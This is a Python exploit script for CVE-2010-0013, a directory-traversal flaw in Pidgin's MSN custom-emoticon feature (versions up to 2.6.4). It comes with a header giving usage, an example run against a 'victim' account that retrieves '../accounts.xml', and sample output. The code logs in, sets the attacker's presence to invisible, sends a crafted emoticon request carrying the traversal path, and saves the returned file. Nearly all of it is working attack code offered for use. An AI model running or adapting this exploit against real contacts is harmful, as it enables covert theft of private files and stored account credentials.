"""
Pidgin MSN <= 2.6.4 file download vulnerability
19 January 2010
Mathieu GASPARD (gaspmat@gmail.com)
Description:
Pidgin is a multi-protocol Instant Messenger.
This is an exploit for the vulnerability[1] discovered in Pidgin by Fabian Yamaguchi.
The issue is caused by an error in the MSN custom smiley feature when processing emoticon requests,
which could allow attackers to disclose the contents of arbitrary files via directory traversal attacks.
Affected versions :
Pidgin <= 2.6.4, Adium and other IM using Pidgin-libpurple/libmsn library.
Plugin msn-pecan 0.1.0-rc2(http://code.google.com/p/msn-pecan/) IS also vulnerable even if Pidgin is up to date
Plateforms :
Windows, Linux, Mac
Fix :
Fixed in Pidgin 2.6.5
Update to the latest version : http://www.pidgin.im/download/
References :
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013
[2] http://www.pidgin.im/news/security/?id=42
Usage :
You need the Python MSN Messenger library : http://telepathy.freedesktop.org/wiki/Pymsn
python pidgin_exploit.py -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE [-o OUTPUT_FILE] [-l]
Example :
# python pidgin_exploit.py -a foo@hotmail.com -c victim@hotmail.com -f ../accounts.xml [-o accounts.xml]
***********************************************************
Pidgin MSN file download vulnerability (CVE-2010-0013)
Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]
***********************************************************
Please enter the password for the account "foo@hotmail.com"
Password:
[+] Connecting to server
[+] Authentication in progress
[+] Synchronisation in progress
[+] OK, all done, ready to proceed
[+] Sending request for file "../accounts.xml" to "victim@hotmail.com"
[+] Using session_id 974948028
Current : 3606, total: 3881(92%)
[+] Got an answer from the contact
----------------
<?xml version='1.0' encoding='UTF-8' ?>
<account version='1.0'>
........
"""
import warnings
warnings.simplefilter("ignore",DeprecationWarning)
import os
import sys
try:
import pymsn
except ImportError:
print "Pymsn couldn't be loaded"
print "On debian-like systems, the package is python-msn"
sys.exit(-1)
import gobject
import logging
import getpass
import hashlib
from optparse import OptionParser
import signal
import time
SERVER_ADDRESS = 'messenger.hotmail.com'
SERVER_PORT = 1863
FD_OUT = sys.stdout
MAINLOOP = None
TIMEOUT = 5
global_client = None
def quit():
MAINLOOP.quit()
sys.exit(0)
def check_if_succeeds():
if global_client.GOT_CONTROL_BLOB == False:
print "[+] Didn't get an answer from the client after %d seconds, it's likely not vulnerable or the file requested doesn't exist/is not accessible"%TIMEOUT
print "[+] Exiting"
global_client.quit()
def handle_answer(object, client):
print "\n[+] Got an answer from the contact"
d = object._data
data = d.read()
length = len(data)
FD_OUT.write(data)
if FD_OUT != sys.stdout:
FD_OUT.close()
print "[+] Wrote %d bytes to file"%length
client.end = time.time()
duration = client.end - client.begin
print "[+] Download lasted %d seconds at %d bytes/s "%(duration,(length/duration))
client.quit()
def my_on_chunk_recv(transport, chunk):
global_client._p2p_session_manager._transport_manager._on_chunk_received_OLD(transport, chunk)
session_id = chunk.header.session_id
blob_id = chunk.header.blob_id
if session_id == global_client.session_id:
if global_client.GOT_CONTROL_BLOB == False:
global_client.GOT_CONTROL_BLOB = True
else:
if global_client._p2p_session_manager._transport_manager._data_blobs.has_key(session_id):
current_blob = global_client._p2p_session_manager._transport_manager._data_blobs[session_id]
print "Current : %d, total: %d(%d%%)\r"%(current_blob.current_size, current_blob.total_size, ((current_blob.current_size*100)/current_blob.total_size)),
sys.stdout.flush()
def error_handler(self, error_type, error):
if error_type == pymsn.event.ConversationErrorType.CONTACT_INVITE and \
error == pymsn.event.ContactInviteError.NOT_AVAILABLE:
print "[*] ERROR, contact didn't accept our invite, probably because it is disconnected/invisible"
quit()
if error_type ==pymsn.event.ConversationErrorType.MESSAGE and \
error ==pymsn.event.MessageError.DELIVERY_FAILED:
print "[*] ERROR, couldn't send message, probably because contact is disconnected/invisible"
quit()
print "[*] Unhandled error, error_type : %d , error : %d"%(error_type, error)
quit()
class MyClient(pymsn.Client):
def __init__(self, server, quit, victim, filename, list_only, proxies={}, transport_class=pymsn.transport.DirectConnection):
self.quit = quit
self.victim = victim
self.list_only = list_only
self.filename = filename
self.begin = 0
self.end = 0
self.session_id = 0
self.GOT_CONTROL_BLOB = False
pymsn.Client.__init__(self, server)
for handler_class, extra_args in self._switchboard_manager._handlers_class:
handler_class._on_error = error_handler
class MyMSNObjectStore(pymsn.p2p.MSNObjectStore):
def __compute_data_hash(self, data):
digest = hashlib.sha1()
data.seek(0, 0)
read_data = data.read(1024)
while len(read_data) > 0:
digest.update(read_data)
read_data = data.read(1024)
data.seek(0, 0)
return digest.digest()
def _outgoing_session_transfer_completed(self, session, data):
handle_id, callback, errback, msn_object = self._outgoing_sessions[session]
msn_object._data_sha = self.__compute_data_hash(data)
super(MyMSNObjectStore, self)._outgoing_session_transfer_completed(session, data)
class ClientEventHandler(pymsn.event.ClientEventInterface):
def on_client_error(self, error_type, error):
if error_type == pymsn.event.ClientErrorType.AUTHENTICATION:
print "[+] Authentication failed, bad login/password"
self._client.quit()
else:
print "[*] ERROR :", error_type, " ->", error
def on_client_state_changed(self, state):
if state == pymsn.client.ClientState.CLOSED:
print "[+] Connection to server closed"
self._client.quit()
if state == pymsn.client.ClientState.CONNECTING:
if self.current_state != state:
print "[+] Connecting to server"
self.current_state = state
if state == pymsn.client.ClientState.AUTHENTICATING:
if self.current_state != state:
print "[+] Authentication in progress"
self.current_state = state
if state == pymsn.client.ClientState.SYNCHRONIZING:
if self.current_state != state:
print "[+] Synchronisation in progress"
self.current_state = state
if state == pymsn.client.ClientState.OPEN:
print "[+] OK, all done, ready to proceed"
self._client.profile.presence = pymsn.Presence.INVISIBLE
contact_dict = {}
for i in self._client.address_book.contacts:
contact_dict[i.account] = i
if self._client.list_only:
for (k,v) in contact_dict.items():
print k+" ("+v.display_name+")"
self._client.quit()
else:
if self._client.victim not in contact_dict.keys():
print "[*] Error, contact %s not in your contact list"%self._client.victim
self._client.quit()
else:
contact = contact_dict[self._client.victim]
store = MyMSNObjectStore(self._client)
object = pymsn.p2p.MSNObject(contact, 65535, pymsn.p2p.MSNObjectType.CUSTOM_EMOTICON, self._client.filename, 'AAA=','2jmj7l5rSw0yVb/vlWAYkK/YBwk=')
print "[+] Sending request for file \"%s\" to \"%s\""%(self._client.filename, self._client.victim)
self._client.begin = time.time()
store.request(object, [handle_answer, self._client])
for k in store._outgoing_sessions.keys():
print "[+] Using session_id %d"%k._id
self._client.session_id = k._id
self._client._p2p_session_manager._transport_manager._on_chunk_received_OLD = self._client._p2p_session_manager._transport_manager._on_chunk_received
self._client._p2p_session_manager._transport_manager._on_chunk_received = my_on_chunk_recv
gobject.timeout_add(TIMEOUT*1000, check_if_succeeds)
def __init__(self, client):
self.current_state = None
pymsn.event.ClientEventInterface.__init__(self, client)
if __name__ == '__main__':
print "***********************************************************\n"
print "Pidgin MSN file download vulnerability (CVE-2010-0013)\n"
print "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]\n"
print "***********************************************************\n"
usage = "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l] "
parser = OptionParser(usage=usage)
parser.add_option("-f", "--file", dest="filename", default=None,
help="File requested to remote contact")
parser.add_option("-o", "--output", dest="output_file", default=None,
help="Where to write received file, STDOUT otherelse")
parser.add_option("-a", "--account", dest="account", default=None,
help="MSN account to use")
parser.add_option("-c", "--contact", dest="contact", default=None,
help="Contact to request file from")
parser.add_option("-l", "--list", dest="list_only", action="store_true", default=False,
help="Just print contact list for your account and exit")
(options, args) = parser.parse_args()
if not options.filename or not options.account or not options.contact:
if not (options.account and options.list_only):
print "Error, parameter missing"
parser.print_help()
sys.exit(-1)
if options.output_file != None:
try:
FD_OUT = open(options.output_file,"wb")
except Exception,e:
print "Cannot open file %s (%s)"%(options.output_file, e)
sys.exit(-1)
MAINLOOP = gobject.MainLoop()
def sigterm_cb():
gobject.idle_add(quit)
signal.signal(signal.SIGTERM, sigterm_cb)
logging.basicConfig(level=logging.CRITICAL)
server = (SERVER_ADDRESS, SERVER_PORT)
client = MyClient(server, quit, options.contact, options.filename, options.list_only)
global_client = client
client_events_handler = ClientEventHandler(client)
print "Please enter the password for the account \"%s\""%options.account
try:
passwd = getpass.getpass()
except KeyboardInterrupt:
quit()
login_info = (options.account, passwd)
client.login(*login_info)
try:
MAINLOOP.run()
except KeyboardInterrupt:
quit()